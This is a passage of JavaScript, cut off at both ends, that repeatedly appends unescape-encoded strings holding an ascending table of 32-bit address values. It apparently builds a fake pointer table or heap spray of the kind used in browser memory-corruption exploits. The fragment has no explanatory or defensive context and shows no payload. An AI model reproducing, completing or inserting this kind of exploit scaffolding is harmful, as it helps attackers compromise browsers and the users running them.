unescape(\"%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc\");\n    str    += unescape(\"%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc\");\n    str    += unescape(\"%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c\");\n    str    += unescape(\"%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c\");\n    str    += unescape(\"%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc\");\n    str    += unescape(\"%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc\");\n    str    += unescape(\"%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c\");\n    str    += unescape(\"%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c\");\n    str    += unescape(\"%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc\");\n    str    += unescape(\"%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc\");\n    str    += unescape(\"%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c\");\n    str    += unescape(\"%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c\");\n    str    += unescape(\"%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc\");\n    str    += unescape(\"%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc\");\n    str    += unescape(\"%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c\");\n    str    += unescape(\"%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c\");\n    str    += unescape(\"%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc\");\n    str    += unescape(\"%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc\");\n    str    += unescape(\"%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c\");\n    str    += unescape(\"%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c\");\n    str    += unescape(\"%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc\");\n    str    += unescape(\"%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc\");\n    str    += unescape(\"%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c\");\n    str    += unescape(\"%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c\");\n    str    += unescape(\"%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc\");\n    str    += unescape(\"%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc\");\n    str    += unescape(\"%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c\");\n    str    += unescape(\"%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c\");\n    str    += unescape(\"%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc\");\n    str    += unescape(\"%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc\");\n    str    += unescape(\"%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c\");\n    str    += unescape(\"%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c\");\n    str    += unescape(\"%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc\");\n    str    += unescape(\"%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc\");\n    str    += unescape(\"%u0000%u6000%u0000%u6004%u0000%u6008%u0000%u600c%u0000%u6010%u0000%u6014%u0000%u6018%u0000%u601c%u0000%u6020%u0000%u6024%u0000%u6028%u0000%u602c%u0000%u6030%u0000%u6034%u0000%u6038%u0000%u603c\");\n    str    += unescape(\"%u0000%u6040%u0000%u6044%u0000%u6048%u0000%u604c%u0000%u6050%u0000%u6054%u0000%u6058%u0000%u605c%u0000%u6060%u0000%u6064%u0000%u6068%u0000%u606c%u0000%u6070%u0000%u6074%u0000%u6078%u0000%u607c\");\n    str    += unescape(\"%u0000%u6080%u0000%u6084%u0000%u6088%u0000%u608c%u0000%u6090%u0000%u6094%u0000%u6098%u0000%u609c%u0000%u60a0%u0000%u60a4%u0000%u60a8%u0000%u60ac%u0000%u60b0%u0000%u60b4%u0000%u60b8%u0000%u60bc\");\n    str    += unescape(\"%u0000%u60c0%u0000%u60c4%u0000%u60c8%u0000%u60cc%u0000%u60d0%u0000%u60d4%u0000%u60d8%u0000%u60dc%u0000%u60e0%u0000%u60e4%u0000%u60e8%u0000%u60ec%u0000%u60f0%u0000%u60f4%u0000%u60f8%u0000%u60fc\");\n    str    += unescape(\"%u0000%u6100%u0000%u6104%u0000%u6108%u0000%u610c%u0000%u6110%u0000%u6114%u0000%u6118%u0000%u611c%u0000%u6120%u0000%u6124%u0000%u6128%u0000%u612c%u0000%u6130%u0000%u6134%u0000%u6138%u0000%u613c\");\n    str    += unescape(\"%u0000%u6140%u0000%u6144%u0000%u6148%u0000%u614c%u0000%u6150%u0000%u6154%u0000%u6158%u0000%u615c%u0000%u6160%u0000%u6164%u0000%u6168%u0000%u616c%u0000%u6170%u0000%u6174%u0000%u6178%u0000%u617c\");\n    str    += unescape(\"%u0000%u6180%u0000%u6184%u0000%u6188%u0000%u618c%u0000%u6190%u0000%u6194%u0000%u6198%u0000%u619c%u0000%u61a0%u0000%u61a4%u0000%u61a8%u0000%u61ac%u0000%u61b0%u0000%u61b4%u0000%u61b8%u0000%u61bc\");\n    str    += unescape(\"%u0000%u61c0%u0000%u61c4%u0000%u61c8%u0000%u61cc%u0000%u61d0%u0000%u61d4%u0000%u61d8%u0000%u61dc%u0000%u61e0%u0000%u61e4%u0000%u61e8%u0000%u61ec%u0000%u61f0%u0000%u61f4%u0000%u61f8%u0000%u61fc\");\n    str    += unescape(\"%u0000%u6200%u0000%u6204%u0000%u6208%u0000%u620c%u0000%u6210%u0000%u6214%u0000%u6218%u0000%u621c%u0000%u6220%u0000%u6224%u0000%u6228%u0000%u622c%u0000%u6230%u0000%u6234%u0000%u6238%u0000%u623c\");\n    str    += unescape(\"%u0000%u6240%u0000%u6244%u0000%u6248%u0000%u624c%u0000%u6250%u0000%u6254%u0000%u6258%u0000%u625c%u0000%u6260%u0000%u6264%u0000%u6268%u0000%u626c%u0000%u6270%u0000%u6274%u0000%u6278%u0000%u627c\");\n    str    += unescape(\"%u0000%u6280%u0000%u6284%u0000%u6288%u0000%u628c%u0000%u6290%u0000%u6294%u0000%u6298%u0000%u629c%u0000%u62a0%u0000%u62a4%u0000%u62a8%u0000%u62ac%u0000%u62b0%u0000%u62b4%u0000%u62b8%u0000%u62bc\");\n    str    += unescape(\"%u0000%u62c0%u0000%u62c4%u0000%u62c8%u0000%u62cc%u0000%u62d0%u0000%u62d4%u0000%u62d8%u0000%u62dc%u0000%u62e0%u0000%u62e4%u0000%u62e8%u0000%u62ec%u0000%u62f0%u0000%u62f4%u0000%u62f8%u0000%u62fc\");\n    str    += unescape(\"%u0000%u6300%u0000%u6304%u0000%u6308%u0000%u630c%u0000%u6310%u0000%u6314%u0000%u6318%u0000%u631c%u0000%u6320%u0000%u6324%u0000%u6328%u0000%u632c%u0000%u6330%u0000%u6334%u0000%u6338%u0000%u633c\");\n    str    += unescape(\"%u0000%u6340%u0000%u6344%u0000%u6348%u0000%u634c%u0000%u6350%u0000%u6354%u0000%u6358%u0000%u635c%u0000%u6360%u0000%u6364%u0000%u6368%u0000%u636c%u0000%u6370%u0000%u6374%u0000%u6378%u0000%u637c\");\n    str    += unescape(\"%u0000%u6380%u0000%u6384%u0000%u6388%u0000%u638c%u0000%u6390%u0000%u6394%u0000%u6398%u0000%u639c%u0000%u63a0%u0000%u63a4%u0000%u63a8%u0000%u63ac%u0000%u63b0%u0000%u63b4%u0000%u63b8%u0000%u63bc\");\n    str    += unescape(\"%u0000%u63c0%u0000%u63c4%u0000%u63c8%u0000%u63cc%u0000%u63d0%u0000%u63d4%u0000%u63d8%u0000%u63dc%u0000%u63e0%u0000%u63e4%u0000%u63e8%u0000%u63ec%u0000%u63f0%u0000%u63f4%u0000%u63f8%u0000%u63fc\");\n    str    += unescape(\"%u0000%u6400%u0000%u6404%u0000%u6408%u0000%u640c%u0000%u6410%u0000%u6414%u0000%u6418%u0000%u641c%u0000%u6420%u0000%u6424%u0000%u6428%u0000%u642c%u0000%u6430%u0000%u6434%u0000%u6438%u0000%u643c\");\n    str    += unescape(\"%u0000%u6440%u0000%u6444%u0000%u6448%u0000%u644c%u0000%u6450%u0000%u6454%u0000%u6458%u0000%u645c%u0000%u6460%u0000%u6464%u0000%u6468%u0000%u646c%u0000%u6470%u0000%u6474%u0000%u6478%u0000%u647c\");\n    str    += unescape(\"%u0000%u6480%u0000%u6484%u0000%u6488%u0000%u648c%u0000%u6490%u0000%u6494%u0000%u6498%u0000%u649c%u0000%u64a0%u0000%u64a4%u0000%u64a8%u0000%u64ac%u0000%u64b0%u0000%u64b4%u0000%u64b8%u0000%u64bc\");\n    str    += unescape(\"%u0000%u64c0%u0000%u64c4%u0000%u64c8%u0000%u64cc%u0000%u64d0%u0000%u64d4%u0000%u64d8%u0000%u64dc%u0000%u64e0%u0000%u64e4%u0000%u64e8%u0000%u64ec%u0000%u64f0%u0000%u64f4%u0000%u64f8%u0000%u64fc\");\n    str    += unescape(\"%u0000%u6500%u0000%u6504%u0000%u6508%u0000%u650c%u0000%u6510%u0000%u6514%u0000%u6518%u0000%u651c%u0000%u6520%u0000%u6524%u0000%u6528%u0000%u652c%u0000%u6530%u0000%u6534%u0000%u6538%u0000%u653c\");\n    str    += unescape(\"%u0000%u6540%u0000%u6544%u0000%u6548%u0000%u654c%u0000%u6550%u0000%u6554%u0000%u6558%u0000%u655c%u0000%u6560%u0000%u6564%u0000%u6568%u0000%u656c%u0000%u6570%u0000%u6574%u0000%u6578%u0000%u657c\");\n    str    += unescape(\"%u0000%u6580%u0000%u6584%u0000%u6588%u0000%u658c%u0000%u6590%u0000%u6594%u0000%u6598%u0000%u659c%u0000%u65a0%u0000%u65a4%u0000%u65a8%u0000%u65ac%u0000%u65b0%u0000%u65b4%u0000%u65b8%u0000%u65bc\");\n    str    += unescape(\"%u0000%u65c0%u0000%u65c4%u0000%u65c8%u0000%u65cc%u0000%u65d0%u0000%u65d4%u0000%u65d8%u0000%u65dc%u0000%u65e0%u0000%u65e4%u0000%u65e8%u0000%u65ec%u0000%u65f0%u0000%u65f4%u0000%u65f8%u0000%u65fc\");\n    str    += unescape(\"%u0000%u6600%u0000%u6604%u0000%u6608%u0000%u660c%u0000%u6610%u0000%u6614%u0000%u6618%u0000%u661c%u0000%u6620%u0000%u6624%u0000%u6628%u0000%u662c%u0000%u6630%u0000%u6634%u0000%u6638%u0000%u663c\");\n    str    += unescape(\"%u0000%u6640%u0000%u6644%u0000%u6648%u0000%u664c%u0000%u6650%u0000%u6654%u0000%u6658%u0000%u665c%u0000%u6660%u0000%u6664%u0000%u6668%u0000%u666c%u0000%u6670%u0000%u6674%u0000%u6678%u0000%u667c\");\n    str    += unescape(\"%u0000%u6680%u0000%u6684%u0000%u6688%u0000%u668c%u0000%u6690%u0000%u6694%u0000%u6698%u0000%u669c%u0000%u66a0%u0000%u66a4%u0000%u66a8%u0000%u66ac%u0000%u66b0%u0000%u66b4%u0000%u66b8%u0000%u66bc\");\n    str    += unescape(\"%u0000%u66c0%u0000%u66c4%u0000%u66c8%u0000%u66cc%u0000%u66d0%u0000%u66d4%u0000%u66d8%u0000%u66dc%u0000%u66e0%u0000%u66e4%u0000%u66e8%u0000%u66ec%u0000%u66f0%u0000%u66f4%u0000%u66f8%u0000%u66fc\");\n    str    += unescape(\"%u0000%u6700%u0000%u6704%u0000%u6708%u0000%u670c%u0000%u6710%u0000%u6714%u0000%u6718%u0000%u671c%u0000%u6720%u0000%u6724%u0000%u6728%u0000%u672c%u0000%u6730%u0000%u6734%u0000%u6738%u0000%u673c\");\n    str    += unescape(\"%u0000%u6740%u0000%u6744%u0000%u6748%u0000%u674c%u0000%u6750%u0000%u6754%u0000%u6758%u0000%u675c%u0000%u6760%u0000%u6764%u0000%u6768%u0000%u676c%u0000%u6770%u0000%u6774%u0000%u6778%u0000%u677c\");\n    str    += unescape(\"%u0000%u6780%u0000%u6784%u0000%u6788%u0000%u678c%u0000%u6790%u0000%u6794%u0000%u6798%u0000%u679c%u0000%u67a0%u0000%u67a4%u0000%u67a8%u0000%u67ac%u0000%u67b0%u0000%u67b4%u0000%u67b8%u0000%u67bc\");\n    str    += unescape(\"%u0000%u67c0%u0000%u67c4%u0000%u67c8%u0000%u67cc%u0000%u67d0%u0000%u67d4%u0000%u67d8%u0000%u67dc%u0000%u67e0%u0000%u67e4%u0000%u67e8%u0000%u67ec%u0000%u67f0%u0000%u67f4%u0000%u67f8%u0000%u67fc\");\n    str    += unescape(\"%u0000%u6800%u0000%u6804%u0000%u6808%u0000%u680c%u0000%u6810%u0000%u6814%u0000%u6818%u0000%u681c%u0000%u6820%u0000%u6824%u0000%u6828%u0000%u682c%u0000%u6830%u0000%u6834%u0000%u6838%u0000%u683c\");\n    str    += unescape(\"%u0000%u6840%u0000%u6844%u0000%u6848%u0000%u684c%u0000%u6850%u0000%u6854%u0000%u6858%u0000%u685c%u0000%u6860%u0000%u6864%u0000%u6868%u0000%u686c%u0000%u6870%u0000%u6874%u0000%u6878%u0000%u687c\");\n    str    += unescape(\"%u0000%u6880%u0000%u6884%u0000%u6888%u0000%u688c%u0000%u6890%u0000%u6894%u0000%u6898%u0000%u689c%u0000%u68a0%u0000%u68a4%u0000%u68a8%u0000%u68ac%u0000%u68b0%u0000%u68b4%u0000%u68b8%u0000%u68bc\");\n    str    += unescape(\"%u0000%u68c0%u0000%u68c4%u0000%u68c8%u0000%u68cc%u0000%u68d0%u0000%u68d4%u0000%u68d8%u0000%u68dc%u0000%u68e0%u0000%u68e4%u0000%u68e8%u0000%u68ec%u0000%u68f0%u0000%u68f4%u0000%u68f8%u0000%u68fc\");\n    str    += unescape(\"%u0000%u6900%u0000%u6904%u0000%u6908%u0000%u690c%u0000%u6910%u0000%u6914%u0000%u6918%u0000%u691c%u0000%u6920%u0000%u6924%u0000%u6928%u0000%u692c%u0000%u6930%u0000%u6934%u0000%u6938%u0000%u693c\");\n    str    += unescape(\"%u0000%u6940%u0000%u6944%u0000%u6948%u0000%u694c%u0000%u6950%u0000%u6954%u0000%u6958%u0000%u695c%u0000%u6960%u0000%u6964%u0000%u6968%u0000%u696c%u0000%u6970%u0000%u6974%u0000%u6978%u0000%u697c\");\n    str    += unescape(\"%u0000%u6980%u0000%u6984%u0000%u6988%u0000%u698c%u0000%u6990%u0000%u6994%u0000%u6998%u0000%u699c%u0000%u69a0%u0000%u69a4%u0000%u69a8%u0000%u69ac%u0000%u69b0%u0000%u69b4%u0000%u69b8%u0000%u69bc\");\n    str    += unescape(\"%u0000%u69c0%u0000%u69c4%u0000%u69c8%u0000%u69cc%u0000%u69d0%u0000%u69d4%u0000%u69d8%u0000%u69dc%u0000%u69e0%u0000%u69e4%u0000%u69e8%u0000%u69ec%u0000%u69f0%u0000%u69f4%u0000%u69f8%u0000%u69fc\");\n    str    += unescape(\"%u0000%u6a00%u0000%u6a04%u0000%u6a08%u0000%u6a0c%u0000%u6a10%u0000%u6a14%u0000%u6a18%u0000%u6a1c%u0000%u6a20%u0000%u6a24%u0000%u6a28%u0000%u6a2c%u0000%u6a30%u0000%u6a34%u0000%u6a38%u0000%u6a3c\");\n    str    += unescape(\"%u0000%u6a40%u0000%u6a44%u0000%u6a48%u0000%u6a4c%u0000%u6a50%u0000%u6a54%u0000%u6a58%u0000%u6a5c%u0000%u6a60%u0000%u6a64%u0000%u6a68%u0000%u6a6c%u0000%u6a70%u0000%u6a74%u0000%u6a78%u0000%u6a7c\");\n    str    += unescape(\"%u0000%u6a80%u0000%u6a84%u0000%u6a88%u0000%u6a8c%u0000%u6a90%u0000%u6a94%u0000%u6a98%u0000%u6a9c%u0000%u6aa0%u0000%u6aa4%u0000%u6aa8%u0000%u6aac%u0000%u6ab0%u0000%u6ab4%u0000%u6ab8%u0000%u6abc\");\n    str    += unescape(\"%u0000%u6ac0%u0000%u6ac4%u0000%u6ac8%u0000%u6acc%u0000%u6ad0%u0000%u6ad4%u0000%u6ad8%u0000%u6adc%u0000%u6ae0%u0000%u6ae4%u0000%u6ae8%u0000%u6aec%u0000%u6af0%u0000%u6af4%u0000%u6af8%u0000%u6afc\");\n    str    += unescape(\"%u0000%u6b00%u0000%u6b04%u0000%u6b08%u0000%u6b0c%u0000%u6b10%u0000%u6b14%u0000%u6b18%u0000%u6b1c%u0000%u6b20%u0000%u6b24%u0000%u6b28%u0000%u6b2c%u0000%u6b30%u0000%u6b34%u0000%u6b38%u0000%u6b3c\");\n    str    += unescape(\"%u0000%u6b40%u0000%u6b44%u0000%u6b48%u0000%u6b4c%u0000%u6b50%u0000%u6b54%u0000%u6b58%u0000%u6b5c%u0000%u6b60%u0000%u6b64%u0000%u6b68%u0000%u6b6c%u0000%u6b70%u0000%u6b74%u0000%u6b78%u0000%u6b7c\");\n    str    += unescape(\"%u0000%u6b80%u0000%u6b84%u0000%u6b88%u0000%u6b8c%u0000%u6b90%u0000%u6b94%u0000%u6b98%u0000%u6b9c%u0000%u6ba0%u0000%u6ba4%u0000%u6ba8%u0000%u6bac%u0000%u6bb0%u0000%u6bb4%u0000%u6bb8%u0000%u6bbc\");\n    str    += unescape(\"%u0000%u6bc0%u0000%u6bc4%u0000%u6bc8%u0000%u6bcc%u0000%u6bd0%u0000%u6bd4%u0000%u6bd8%u0000%u6bdc%u0000%u6be0%u0000%u6be4%u0000%u6be8%u0000%u6bec%u0000%u6bf0%u0000%u6bf4%u0000%u6bf8%u0000%u6bfc\");\n    str    += unescape(\"%u0000%u6c00%u0000%u6c04%u0000%u6c08%u0000%u6c0c%u0000%u6c10%u0000%u6c14%u0000%u6c18%u0000%u6c1c%u0000%u6c20%u0000%u6c24%u0000%u6c28%u0000%u6c2c%u0000%u6c30%u0000%u6c34%u0000%u6c38%u0000%u6c3c\");\n    str    += unescape(\"%u0000%u6c40%u0000%u6c44%u0000%u6c48%u0000%u6c4c%u0000%u6c50%u0000%u6c54%u0000%u6c58%u0000%u6c5c%u0000%u6c60%u0000%u6c64%u0000%u6c68%u0000%u6c6c%u0000%u6c70%u0000%u6c74%u0000%u6c78%u0000%u6c7c\");\n    str    += unescape(\"%u0000%u6c80%u0000%u6c84%u0000%u6c88%u0000%u6c8c%u0000%u6c90%u0000%u6c94%u0000%u6c98%u0000%u6c9c%u0000%u6ca0%u0000%u6ca4%u0000%u6ca8%u0000%u6cac%u0000%u6cb0%u0000%u6cb4%u0000%u6cb8%u0000%u6cbc\");\n    str    += unescape(\"%u0000%u6cc0%u0000%u6cc4%u0000%u6cc8%u0000%u6ccc%u0000%u6cd0%u0000%u6cd4%u0000%u6cd8%u0000%u6cdc%u0000%u6ce0%u0000%u6ce4%u0000%u6ce8%u0000%u6cec%u0000%u6cf0%u0000%u6cf4%u0000%u6cf8%u0000%u6cfc\");\n    str    += unescape(\"%u0000%u6d00%u0000%u6d04%u0000%u6d08%u0000%u6d0c%u0000%u6d10%u0000%u6d14%u0000%u6d18%u0000%u6d1c%u0000%u6d20%u0000%u6d24%u0000%u6d28%u0000%u6d2c%u0000%u6d30%u0000%u6d34%u0000%u6d38%u0000%u6d3c\");\n    str    += unescape(\"%u0000%u6d40%u0000%u6d44%u0000%u6d48%u0000%u6d4c%u0000%u6d50%u0000%u6d54%u0000%u6d58%u0000%u6d5c%u0000%u6d60%u0000%u6d64%u0000%u6d68%u0000%u6d6c%u0000%u6d70%u0000%u6d74%u0000%u6d78%u0000%u6d7c\");\n    str    += unescape(\"%u0000%u6d80%u0000%u6d84%u0000%u6d88%u0000%u6d8c%u0000%u6d90%u0000%u6d94%u0000%u6d98%u0000%u6d9c%u0000%u6da0%u0000%u6da4%u0000%u6da8%u0000%u6dac%u0000%u6db0%u0000%u6db4%u0000%u6db8%u0000%u6dbc\");\n    str    += unescape(\"%u0000%u6dc0%u0000%u6dc4%u0000%u6dc8%u0000%u6dcc%u0000%u6dd0%u0000%u6dd4%u0000%u6dd8%u0000%u6ddc%u0000%u6de0%u0000%u6de4%u0000%u6de8%u0000%u6dec%u0000%u6df0%u0000%u6df4%u0000%u6df8%u0000%u6dfc\");\n    str    += unescape(\"%u0000%u6e00%u0000%u6e04%u0000%u6e08%u0000%u6e0c%u0000%u6e10%u0000%u6e14%u0000%u6e18%u0000%u6e1c%u0000%u6e20%u0000%u6e24%u0000%u6e28%u0000%u6e2c%u0000%u6e30%u0000%u6e34%u0000%u6e38%u0000%u6e3c\");\n    str    += unescape(\"%u0000%u6e40%u0000%u6e44%u0000%u6e48%u0000%u6e4c%u0000%u6e50%u0000%u6e54%u0000%u6e58%u0000%u6e5c%u0000%u6e60%u0000%u6e64%u0000%u6e68%u0000%u6e6c%u0000%u6e70%u0000%u6e74%u0000%u6e78%u0000%u6e7c\");\n    str    += unescape(\"%u0000%u6e80%u0000%u6e84%u0000%u6e88%u0000%u6e8c%u0000%u6e90%u0000%u6e94%u0000%u6e98%u0000%u6e9c%u0000%u6ea0%u0000%u6ea4%u0000%u6ea8%u0000%u6eac%u0000%u6eb0%u0000%u6eb4%u0000%u6eb8%u0000%u6ebc\");\n    str    += unescape(\"%u0000%u6ec0%u0000%u6ec4%u0000%u6ec8%u0000%u6ecc%u0000%u6ed0%u0000%u6ed4%u0000%u6ed8%u0000%u6edc%u0000%u6ee0%u0000%u6ee4%u0000%u6ee8%u0000%u6eec%u0000%u6ef0%u0000%u6ef4%u0000%u6ef8%u0000%u6efc\");\n    str    += unescape(\"%u0000%u6f00%u0000%u6f04%u0000%u6f08%u0000%u6f0c%u0000%u6f10%u0000%u6f14%u0000%u6f18%u0000%u6f1c%u0000%u6f20%u0000%u6f24%u0000%u6f28%u0000%u6f2c%u0000%u6f30%u0000%u6f34%u0000%u6f38%u0000%u6f3c\");\n    str    += unescape(\"%u0000%u6f40%u0000%u6f44%u0000%u6f48%u0000%u6f4c%u0000%u6f50%u0000%u6f54%u0000%u6f58%u0000%u6f5c%u0000%u6f60%u0000%u6f64%u0000%u6f68%u0000%u6f6c%u0000%u6f70%u0000%u6f74%u0000%u6f78%u0000%u6f7c\");\n    str    += 